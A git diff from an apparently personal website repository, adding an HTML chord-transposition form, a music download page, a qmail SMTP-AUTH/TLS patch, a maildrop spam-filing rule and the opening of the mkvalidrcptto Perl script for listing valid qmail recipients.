<INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-52" STYLE="width:12px;height=12px"/><FONT SIZE=1>7</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-53" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll7</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-54" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj6</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-55" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj7</FONT><BR/> + </TD> + <TD WIDTH=20><B>G</B></TD> + <TD WIDTH=60> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-70" STYLE="width:12px;height=12px"/><FONT SIZE=1>Dur</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-71" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-72" STYLE="width:12px;height=12px"/><FONT SIZE=1>7</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-73" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll7</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-74" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj6</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-75" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj7</FONT><BR/> + </TD> + <TD WIDTH=20><B>A</B></TD> + <TD WIDTH=60> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-90" STYLE="width:12px;height=12px"/><FONT SIZE=1>Dur</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-91" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-92" STYLE="width:12px;height=12px"/><FONT SIZE=1>7</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-93" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll7</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-94" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj6</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-95" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj7</FONT><BR/> + </TD> + <TD WIDTH=20><B>H</B></TD> + <TD WIDTH=60> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-B0" STYLE="width:12px;height=12px"/><FONT SIZE=1>Dur</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-B1" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-B2" STYLE="width:12px;height=12px"/><FONT SIZE=1>7</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-B3" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll7</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-B4" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj6</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-B5" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj7</FONT><BR/> + </TD> + </TR><TR> + <TD WIDTH=20><B>C#</B></TD> + <TD WIDTH=60> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-10" STYLE="width:12px;height=12px"/><FONT SIZE=1>Dur</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-11" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-12" STYLE="width:12px;height=12px"/><FONT SIZE=1>7</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-13" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll7</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-14" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj6</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-15" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj7</FONT><BR/> + </TD> + <TD WIDTH=20><B>D#</B></TD> + <TD WIDTH=60> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-30" STYLE="width:12px;height=12px"/><FONT SIZE=1>Dur</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-31" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-32" STYLE="width:12px;height=12px"/><FONT SIZE=1>7</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-33" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll7</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-34" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj6</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-35" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj7</FONT><BR/> + </TD> + <TD WIDTH=20></TD><TD WIDTH=60></TD> + <TD WIDTH=20><B>F#</B></TD> + <TD WIDTH=60> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-60" STYLE="width:12px;height=12px"/><FONT SIZE=1>Dur</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-61" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-62" STYLE="width:12px;height=12px"/><FONT SIZE=1>7</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-63" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll7</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-64" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj6</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-65" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj7</FONT><BR/> + </TD> + <TD WIDTH=20><B>G#</B></TD> + <TD WIDTH=60> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-80" STYLE="width:12px;height=12px"/><FONT SIZE=1>Dur</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-81" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-82" STYLE="width:12px;height=12px"/><FONT SIZE=1>7</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-83" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll7</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-84" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj6</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-85" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj7</FONT><BR/> + </TD> + <TD WIDTH=20><B>A#<BR/>=B</B></TD> + <TD WIDTH=60> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-A0" STYLE="width:12px;height=12px"/><FONT SIZE=1>Dur</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-A1" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-A2" STYLE="width:12px;height=12px"/><FONT SIZE=1>7</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-A3" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll7</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-A4" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj6</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-A5" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj7</FONT><BR/> + </TD> + <TD WIDTH=20></TD><TD WIDTH=60></TD> + </TR> + </TABLE> +</TD> +</TR> +</TABLE> +<INPUT TYPE=RESET VALUE="Clear"> +<INPUT TYPE=SUBMIT NAME="" VALUE="Transponieren!"> +</FORM> +</CENTER> diff --git a/files/arts/music/content.html b/files/arts/music/content.html new file mode 100644 index 0000000..7524ec8 --- /dev/null +++ b/files/arts/music/content.html @@ -0,0 +1,21 @@ +<UL><LI><H3>Tools</H3></LI><P> +<A HREF=index-transpose.html>My transpose tool</A> +</P><LI><H3>Band mp3's</H3></LI><P> +<table width=60%><tr><td>Hero of the day, <A HREF=Herov1.mp3>v1</A> <A HREF=Herov2.mp3>v2</A> <A HREF=../../band/Hero_vBand.mp3>Band</A></td><td><A HREF=Hero>Text</A></td><td>(2002)</td></tr> +<tr><td><A HREF=Soehne.mp3>Es ziehn die Soehne</A><BR/>Kaspar singt die Strophe :)</td><td> <A HREF=Soehne>Text</A></td><td>(2002)</td></tr> +<tr><td>Tonite (pre-release), <A HREF=Tonitev1.mp3>v1</A> <A HREF=Tonitev2.mp3>v2</A></td><td><A HREF=Tonite>Text</A></td><td>(2002)</td></tr> +</table> +</P><LI><H3>mp3's</H3></LI><P> +<table width=60%> + +<tr><td><A HREF=Fine.mp3>Fine</A></td><td><A HREF=Fine.txt>Text</A></td><td>(2004)</td></tr> +<tr><td><A HREF=Pimmelterrorist.mp3>Pimmelterrorist</A></td><td><A HREF=Pimmelterrorist>Text</A></td><td>(2003)</td></tr> +<tr><td><A HREF=Schnee_im_April.mp3>Schnee im April</A></td><td><A HREF=Schnee_im_April>Text</A></td><td>(2002)</td></tr> +<tr><td><A HREF=No%20Angel%20Yet.mp3>No Angel Yet</A><BR/>... der Text is aber geklaut</td><td><A HREF=No%20Angel%20Yet.txt>Text</td><td>(2002)</td></tr> +<tr><td><A HREF=Hoerig.mp3>Hrig</A></td><td><A HREF=Hoerig.txt>Text</A></td><td>(2000)</td></tr> +<tr><td><A HREF=Wiese.mp3>Wiese</A></td><td><A HREF=Wiese>Text</A></td><td>(1999)</td></tr> +<tr><td><A HREF=Alte_Zeiten.mp3>Alte Zeiten</td><td><A HREF=AlteZeiten>Text</A></td><td>(1998)</td></tr> +<tr><td><A HREF=Frau%20Kr%fcger.mp3>Frau Krger</td><td><A HREF=FrauKrueger>Text</A></td><td>(1997)</td></tr> +<tr><td><A HREF=Sven.mp3>Sven</A><BR/>... ich war jung und ich brauchte das Geld ;)</td><td><A HREF=Sven>Text</A></td><td>(1996)</td></tr> +</table> +</P></UL> diff --git a/files/arts/software/.DS_Store b/files/arts/software/.DS_Store new file mode 100644 index 0000000..5008ddf Binary files /dev/null and b/files/arts/software/.DS_Store differ diff --git a/files/arts/software/Code/elektropost/auth.patch.diff-tls b/files/arts/software/Code/elektropost/auth.patch.diff-tls new file mode 100644 index 0000000..2960def --- /dev/null +++ b/files/arts/software/Code/elektropost/auth.patch.diff-tls @@ -0,0 +1,141 @@ +*** auth.patch.orig Fri May 10 07:41:20 2002 +--- auth.patch Thu Jan 9 15:22:06 2014 +*************** +*** 14,42 **** + binm1.sh conf-qmail + cat binm1.sh \ + *************** +! *** 1536,1547 **** + timeoutwrite.o ip.o ipme.o ipalloc.o control.o constmap.o received.o \ + date822fmt.o now.o qmail.o cdb.a fd.a wait.a datetime.a getln.a \ + open.a sig.a case.a env.a stralloc.a alloc.a substdio.a error.a str.a \ + ! fs.a auto_qmail.o socket.lib + ./load qmail-smtpd rcpthosts.o commands.o timeoutread.o \ + timeoutwrite.o ip.o ipme.o ipalloc.o control.o constmap.o \ + received.o date822fmt.o now.o qmail.o cdb.a fd.a wait.a \ + datetime.a getln.a open.a sig.a case.a env.a stralloc.a \ + ! alloc.a substdio.a error.a str.a fs.a auto_qmail.o `cat \ + socket.lib` + + qmail-smtpd.0: \ +! --- 1540,1551 ---- + timeoutwrite.o ip.o ipme.o ipalloc.o control.o constmap.o received.o \ + date822fmt.o now.o qmail.o cdb.a fd.a wait.a datetime.a getln.a \ + open.a sig.a case.a env.a stralloc.a alloc.a substdio.a error.a str.a \ + ! fs.a auto_qmail.o base64.o socket.lib + ./load qmail-smtpd rcpthosts.o commands.o timeoutread.o \ + timeoutwrite.o ip.o ipme.o ipalloc.o control.o constmap.o \ + received.o date822fmt.o now.o qmail.o cdb.a fd.a wait.a \ + datetime.a getln.a open.a sig.a case.a env.a stralloc.a \ +! ! alloc.a substdio.a error.a str.a fs.a auto_qmail.o base64.o `cat \ + socket.lib` + + qmail-smtpd.0: \ +--- 14,44 ---- + binm1.sh conf-qmail + cat binm1.sh \ + *************** +! *** 1537,1549 **** + timeoutwrite.o ip.o ipme.o ipalloc.o control.o constmap.o received.o \ + date822fmt.o now.o qmail.o cdb.a fd.a wait.a datetime.a getln.a \ + open.a sig.a case.a env.a stralloc.a alloc.a substdio.a error.a str.a \ + ! fs.a auto_qmail.o socket.lib + ./load qmail-smtpd rcpthosts.o commands.o timeoutread.o \ + timeoutwrite.o ip.o ipme.o ipalloc.o control.o constmap.o \ ++ tls.o ssl_timeoutio.o ndelay.a -L/usr/local/ssl/lib -lssl -lcrypto \ + received.o date822fmt.o now.o qmail.o cdb.a fd.a wait.a \ + datetime.a getln.a open.a sig.a case.a env.a stralloc.a \ + ! alloc.a substdio.a error.a str.a fs.a auto_qmail.o `cat \ + socket.lib` + + qmail-smtpd.0: \ +! --- 1541,1553 ---- + timeoutwrite.o ip.o ipme.o ipalloc.o control.o constmap.o received.o \ + date822fmt.o now.o qmail.o cdb.a fd.a wait.a datetime.a getln.a \ + open.a sig.a case.a env.a stralloc.a alloc.a substdio.a error.a str.a \ + ! fs.a auto_qmail.o base64.o socket.lib + ./load qmail-smtpd rcpthosts.o commands.o timeoutread.o \ + timeoutwrite.o ip.o ipme.o ipalloc.o control.o constmap.o \ ++ tls.o ssl_timeoutio.o ndelay.a -L/usr/local/ssl/lib -lssl -lcrypto \ + received.o date822fmt.o now.o qmail.o cdb.a fd.a wait.a \ + datetime.a getln.a open.a sig.a case.a env.a stralloc.a \ +! ! alloc.a substdio.a error.a str.a fs.a auto_qmail.o base64.o `cat \ + socket.lib` + + qmail-smtpd.0: \ +*************** +*** 174,203 **** + stralloc greeting = {0}; + + *************** +! *** 229,235 **** +! } + void smtp_ehlo(arg) char *arg; + { +! ! smtp_greet("250-"); out("\r\n250-PIPELINING\r\n250 8BITMIME\r\n"); + seenmail = 0; dohelo(arg); +! } +! void smtp_rset() +! --- 241,255 ---- +! } + void smtp_ehlo(arg) char *arg; + { +! ! smtp_greet("250-"); +! ! #ifdef AUTHCRAM + ! out("\r\n250-AUTH LOGIN CRAM-MD5 PLAIN"); + ! out("\r\n250-AUTH=LOGIN CRAM-MD5 PLAIN"); + ! #else + ! out("\r\n250-AUTH LOGIN PLAIN"); + ! out("\r\n250-AUTH=LOGIN PLAIN"); + ! #endif +! ! out("\r\n250-PIPELINING\r\n250 8BITMIME\r\n"); + seenmail = 0; dohelo(arg); +- } +- void smtp_rset() + *************** + *** 394,403 **** + --- 414,639 ---- +--- 176,218 ---- + stralloc greeting = {0}; + + *************** +! *** 265,273 **** + void smtp_ehlo(arg) char *arg; + { +! smtp_greet("250-"); +! #ifdef TLS +! ! if (!ssl && (stat("control/servercert.pem",&st) == 0)) +! ! out("\r\n250-STARTTLS"); +! #endif +! out("\r\n250-PIPELINING\r\n250 8BITMIME\r\n"); + seenmail = 0; dohelo(arg); +! --- 277,302 ---- + void smtp_ehlo(arg) char *arg; + { +! smtp_greet("250-"); +! + #ifdef AUTHCRAM +! #ifdef TLS +! ! out("\r\n250-AUTH LOGIN CRAM-MD5 PLAIN"); +! ! out("\r\n250-AUTH=LOGIN CRAM-MD5 PLAIN"); +! ! if (!ssl && (stat("control/servercert.pem",&st) == 0)) +! ! out("\r\n250-STARTTLS"); +! ! #else + ! out("\r\n250-AUTH LOGIN CRAM-MD5 PLAIN"); + ! out("\r\n250-AUTH=LOGIN CRAM-MD5 PLAIN"); ++ ! #endif ++ ! #else ++ ! #ifdef TLS ++ ! out("\r\n250-AUTH LOGIN PLAIN"); ++ ! out("\r\n250-AUTH=LOGIN PLAIN"); ++ ! if (!ssl && (stat("control/servercert.pem",&st) == 0)) ++ ! out("\r\n250-STARTTLS"); + ! #else + ! out("\r\n250-AUTH LOGIN PLAIN"); + ! out("\r\n250-AUTH=LOGIN PLAIN"); + ! #endif +! #endif +! out("\r\n250-PIPELINING\r\n250 8BITMIME\r\n"); + seenmail = 0; dohelo(arg); + *************** + *** 394,403 **** + --- 414,639 ---- diff --git a/files/arts/software/Code/elektropost/maildroprc b/files/arts/software/Code/elektropost/maildroprc new file mode 100644 index 0000000..5d07a7c --- /dev/null +++ b/files/arts/software/Code/elektropost/maildroprc @@ -0,0 +1,21 @@ +import EXT +import HOST + +#This just bloody won't work for me.. don't know why +VHOME=`/usr/local/vpopmail/bin/vuserinfo -d $EXT@$HOST` +#VHOME=/usr/local/vpopmail/domains/$HOST/$EXT + +if (/^X-Spam-Flag: *YES/) +{ + exception { + TMP=`if [ ! -d $VHOME/Maildir/.Junk ]; then /usr/local/bin/maildirmake -f Junk $VHOME/Maildir/; fi` + TMP=`if ! grep -q ^Junk$ $VHOME/Maildir/.subscriptions; then echo Junk >> $VHOME/Maildir/.subscriptions; fi` + to "$VHOME/Maildir/.Junk/" + } +} +else +{ + exception { + to "$VHOME/Maildir/" + } +} diff --git a/files/arts/software/Code/elektropost/mkvalidrcptto b/files/arts/software/Code/elektropost/mkvalidrcptto new file mode 100755 index 0000000..5b03fbb --- /dev/null +++ b/files/arts/software/Code/elektropost/mkvalidrcptto @@ -0,0 +1,826 @@ +#!/usr/bin/perl -w +# +# mkvalidrcptto +# John Simpson <jms1@jms1.net> 2005-04-20 +# +# reads qmail control files and builds a list of all valid email addresses +# on the system. +# +# 2005-05-04 jms1 - cleaned up the code a little bit. holding the output in +# memory until the whole thing is done so that partial output doesn't +# become an issue. it also makes it possible to create a cdb file directly, +# but i don't think i'm going to do that- i like the "chaining" approach +# better, piping this script's output through "cdbmake-12" to produce the +# cdb file. +# +# 2005-05-09 jms1 - changing the vpopmail user info process. instead of +# reading vpasswd.cdb, using "vuserinfo -D {domain}" and parsing that +# output. this should include mysql user information for people who are +# using vpopmail with mysql. Thanks to Roman Volf on the qmailrocks +# mailing list for pointing this out. +# +# 2005-06-09 jms1 - adding support for "fastforward" aliases. +# +# 2005-06-18 jms1 - finishing support for .qmail-* files in local user home +# directories... i don't ever use local users for mailboxes myself, so it +# wasn't an issue for me, but somebody out there may be doing it, so... +# +# 2005-06-23 jms1 - changed the search pattern when reading "vuserinfo -D" +# to get a vpopmail domain's mailbox list, instead of recognizing \w+ +# it now uses \S+ which should allow "." in mailbox names +# +# 2005-06-29 jms1 - translating ":" to "." in .qmail-* filenames... i forgot +# that qmail-local does this. somebody emailed me to remind me about this, +# but i can't find the email so i don't know who to thank for reminding me +# about this... +# +# 2005-06-30 jms1 - when vpopmail stores everything in a mysql database, +# aliases are apparently not represented by .qmail files at all. it looks +# like we have no choice but to use the vpopmail command-line tools to +# get the lists of mailboxes and aliases in the domain. thanks to Rob Pitt +# for telling me that this wasn't working (i don't use vpopmail with mysql +# so i had no way to know that this would be a problem.) +# +# 2005-07-17 jms1 - domains listed in smtproutes are currently listed as +# just "@domain", meaning the entire domain is accepted without any checks +# done for individual userid's. adding code so that you can create a +# directory full of files named for the domains, containing userid's +# which exist in that domain. thanks to roman volf for the suggestion. +# +# 2005-08-03 jms1 - turns out if vpopmail is compiled with support for mysql, +# the "valias -s" command doesn't list aliases which exist by virtue of +# .qmail-blah files... which rather sucks, because this is how ezmlm sets +# up the aliases it needs, by creating .qmail-blah files. thanks again to +# Roman Volf for pointing this out. +# +# 2005-10-24 jms1 - adding a "-n" switch to generate a list without the +# system accounts (i.e. no "locals" or "me" domains will be printed.) +# note that "fastforward" aliases are considered local, since they are +# processed through the local delivery mechanism. +# +# 2005-11-29 jms1 - now treats missing vpopmail directory as a warning +# rather than a fatal error. +# +# 2005-12-07 jms1 - after reviewing qmail-send.c and controls.c, it +# turns out that the "me" becoming part of "locals" only happens if +# the "control/locals" file does not exist... otherwise an empty +# "control/locals" file means that there are no locals. updating the +# script to duplicate this logic. +# also replacing ":" with "." in .qmail filenames. +# thanks to jeff hedlund for pointing me towards the "me" problem, +# and for pointing out my oversight with the ":" thing. +# +# 2005-12-29 jms1 - adding an array of numeric uid's (empty by default) +# which will be ignored when system uid's are scanned. thanks to +# roman volf for the suggestion. +# +# 2006-01-08 jms1 - fixed a typo, thanks to "marlowe" for pointing it out. +# +# 2006-01-11 jms1 - vpopmail has a "--enable-qmail-ext" option which +# changes how mailbox names are handled. if vpopmail is running WITH +# this option, every vpopmail mailbox has an implied "-default" alias +# whether there's a .qmail-user-default file there or not. thanks to +# robin bowes for pointing this out. +# +# 2006-01-12 jms1 - making the script work correctly in the unlikely +# case that the user-ext separator character was changed, either by +# changing conf-break before compiling qmail, or specifying a custom +# value in the users/cdb file. +# +# 2006-02-05 jms1 - adding an "exclude" list, for addresses which you +# may not want to include in the output (i.e. private mailing list +# aliases and things like that.) also fixed a bug in the code which +# handles the user-ext separator character. +# +# 2006-03-26 jms1 - fixed a minor typo in the text of an error message +# (which does not affect how the script works.) Thanks to Robin Bowes +# for pointing it out. +# +# 2006-11-29 jms1 - adding logic to work around the case where users/cdb +# just plain doesn't exist (which can happen on systems which don't use +# vpopmail etc.) thanks to "Eric d'Alibut" on djb's qmail mailing list +# for pointing it out. +# +############################################################################### +# +# Copyright (C) 2005-2006 John Simpson. +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License, version 2, as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +# or visit http://www.gnu.org/licenses/gpl.txt +# +############################################################################### + +require 5.003 ; +use strict ; + +use CDB_File ; + +############################################################################### +# +# configuration + +my $vq = "/var/qmail" ; +my $vuser = "vpopmail" ; # vpopmail userid + +# any numeric uid's on the system which are lower than this will be ignored +# this way we don't create entries for root, bin, daemon, lp, news, uucp, +# and other non-used system users. +my $uid_min = 500 ; # ignore uid's lower than this +my $uid_max = 65000 ; # ignore uid's higher than this +my @uid_ignore = qw ( ) ; # ignore any uid's listed in this array + +# any entries listed in this array will NOT be included in the output +my @exclude = qw +( + sample1@domain.xyz + sample2@domain.xyz +) ; + +# if you have text files containing lists of valid mailboxes for smtproutes +# domains, put them all into a single directory and put that directory in +# the variable below. +# +# each line of each files should contain a mailbox userid- anything on the +# line which comes after "#" or "@" is deleted, so you can use "#" for +# comments if you like, and you can use a symlink (or hard link) to cause +# one file to be effective for multiple domains. +# +# note that these files are only consulted for domains listed in the +# smtproutes file. if this variable is blank, or it points to a directory +# which doesn't exist, all smtproutes domains will be printed as "@domain", +# which tells qmail-smtpd to accept any mailbox userid in that domain. + +my $smtpr_dir = "" ; + +############################################################################### +# +# global variables + +my ( %alldom , %ldom , %vdom , %sdom , %adom , %lusr , %ausr , + %home , %MRH , %UCDB , @output , $ffl , %ACDB ) ; + +my $err = 0 ; +my $lfound = 0 ; +my $afound = 0 ; +my $vfound = 0 ; +my $showlocal = 1 ; +my $need_untie = 0 ; + +my $vhome = "" ; +my $vbin = "" ; +my $vinc = "" ; +my $vqext = "?" ; +my $dash = "" ; +my $gdash = "" ; + +############################################################################### +# +# debugging function + +my $show_debug = 0 ; + +sub debug($) +{ + $show_debug && print $_[0] ; +} + +############################################################################### +# +# function to read /var/qmail/alias/.qmail-default + +sub find_ffl($) +{ + my $file = shift ; + + my $flagdeliver = 1 ; + my $flagpassthrough = 0 ; + my $flagdefault = 0 ; + + if ( open ( DQD , "<$file" ) ) + { + while ( my $line = <DQD> ) + { + chomp $line ; + next unless ( $line =~ /^\|.*fastforward/ ) ; + + $line =~ s/^.*fastforward\s+// ; + my @dw = split ( /\s+/ , $line ) ; + while ( my $zz = shift @dw ) + { + next if ( $zz =~ /^\-/ ) ; + $ffl = $zz ; + last ; + } + + last if ( $ffl ) ; + } + close DQD ; + } +} + +############################################################################### +############################################################################### +############################################################################### + +my $arg = ( shift || "" ) ; +if ( "-n" eq $arg ) +{ + $showlocal = 0 ; +} + +############################################################################### +# +# only interested in domains for which we legitimately receive mail + +open ( I , "<$vq/control/rcpthosts" ) + or die "$vq/control/rcpthosts: $!\n" ; +while ( my $line = <I> ) +{ + chomp $line ; + $alldom{$line} = 1 ; +} +close I ; + +open ( I , "<$vq/control/morercpthosts" ) + or die "$vq/control/morercpthosts: $!\n" ; +while ( my $line = <I> ) +{ + chomp $line ; + $alldom{$line} = 1 ; +} +close I ; + +if ( -f "$vq/control/morercpthosts.cdb" ) +{ + tie ( %MRH , "CDB_File" , "$vq/control/morercpthosts.cdb" ) + or die "$vq/control/morercpthosts: $!\n" ; + map { $alldom{$_} = 1 } keys %MRH ; + untie %MRH ; +} + +############################################################################### +# +# classify each one as local, virtual, or pass-thru +# +# note that if the control/locals file does not exist, the name listed +# in the control/me file is used as if control/locals contained the +# data. + +if ( -f "$vq/control/locals" ) +{ + open ( I , "<$vq/control/locals" ) + or die "$vq/control/locals: $!\n" ; + while ( my $line = <I> ) + { + chomp $line ; + + ######################################## + # ignore any that we don't actually receive mail for + + next unless ( exists $alldom{$line} ) ; + delete $alldom{$line} ; + + ######################################## + # mark this one as local + + $ldom{$line} = 1 ; + $lfound ++ ; + $afound ++ ; + } + close I ; +} +elsif ( -f "$vq/control/me" ) +{ + open ( I , "<$vq/control/me" ) + or die "$vq/control/me: $!\n" ; + while ( my $line = <I> ) + { + chomp $line ; + + ######################################## + # ignore any that we don't actually receive mail for + + next unless ( exists $alldom{$line} ) ; + delete $alldom{$line} ; + + ######################################## + # mark this one as local + + $ldom{$line} = 1 ; + $lfound ++ ; + $afound ++ ; + } + close I ; +} + +if ( -f "$vq/control/virtualdomains" ) +{ + open ( I , "<$vq/control/virtualdomains" ) + or die "$vq/control/virtualdomains: $!\n" ; + while ( my $line = <I> ) + { + chomp $line ; + + ######################################## + # extract the domain name + + my ( $dom , $zu ) = split ( /\s*\:\s*/ , $line ) ; + $dom || die "error in $vq/control/virtualdomains\n$line\n" ; + + ######################################## + # ignore any that we don't actually receive mail for + + next unless ( exists $alldom{$dom} ) ; + delete $alldom{$dom} ; + + ######################################## + # check the userid + + if ( $zu eq "alias" ) + { + ######################################## + # if the domain is handled by the qmail "alias" + # user, then it needs alias processing + + $adom{$dom} = 1 ; + $afound ++ ; + } + else + { + ######################################## + # mark this one as a virtual domain + # and remember the full line, we will need it later + + $vdom{$dom} = $line ; + $vfound ++ ; + } + } + close I ; +} + +if ( -f "$vq/control/smtproutes" ) +{ + open ( I , "<$vq/control/smtproutes" ) + or die "$vq/control/smtproutes: $!\n" ; + while ( my $line = <I> ) + { + chomp $line ; + + ######################################## + # extract the domain name + + $line =~ s/\:.*// ; + + ######################################## + # ignore lines with no domain (default instruction) + + next unless $line ; + + ######################################## + # ignore any that we don't actually receive mail for + + next unless ( exists $alldom{$line} ) ; + delete $alldom{$line} ; + + ######################################## + # mark this one as an smtproutes domain + + $sdom{$line} = 1 ; + } + close I ; +} + +############################################################################### +# +# catch leftovers - domains which come into the machine but are not handled + +for my $d ( sort keys %alldom ) +{ + print "ERROR: $d is listed in rcpthosts/morercpthosts.cdb" + . " but is not handled by the server.\n" ; + $err ++ ; +} + +$err && die "Cannot continue.\n" ; + +############################################################################### +# +# start generating output. +# +# smtproutes domains - if a directory was specified, and it exists, and a +# file for the domain exists, read userid's from the file and generate +# "userid@domain" lines... otherwise just generate a single "@domain" line. + +for my $d ( sort keys %sdom ) +{ + if ( $smtpr_dir && ( -d $smtpr_dir ) && ( -f "$smtpr_dir/$d" ) ) + { + open ( I , "<$smtpr_dir/$d" ) + or die "Can\'t read $smtpr_dir/$d: $!\n" ; + while ( my $line = <I> ) + { + chomp $line ; + $line =~ s/#.*// ; + $line =~ s/\@.*// ; + $line =~ s/^\s+// ; + $line =~ s/\s+$// ; + next unless ( $line ) ; + push ( @output , "$line\@$d" ) ; + } + close I ; + } + else + { + push ( @output, "\@$d" ) ; + } +} + +############################################################################### +# +# local domains - all system accounts and aliases, in each local domain + +if ( $lfound || $afound ) +{ + ######################################## + # need the global "dash" character + + unless ( $gdash ) + { + open ( GD , "$vq/bin/qmail-showctl |" ) + or die "Can\'t run qmail-showctl: $!\n" ; + while ( my $gdline = <GD> ) + { + if ( $gdline =~ /user\-ext delimiter\: (.)/ ) + { + $gdash = $1 ; + last ; + } + } + close GD ; + } +} + +if ( $lfound ) +{ + ######################################## + # turn array into hash for speed + + my %ig = () ; + map { $ig{$_} = "" } @uid_ignore ; + + ######################################## + # grab a list of system accounts + + while ( my @pw = getpwent() ) + { + next if ( $pw[2] < $uid_min ) ; # ignore system accounts + next if ( $pw[2] > $uid_max ) ; # ignore "nobody" accounts + next if ( exists $ig{$pw[2]} ) ; # ignore special accounts + next unless ( $pw[2] ) ; # no deliveries to root + $lusr{$pw[0]} = 1 ; + + if ( opendir ( D , $pw[7] ) ) + { + while ( my $f = readdir D ) + { + next unless ( $f =~ /^\.qmail${gdash}(.+)/ ) 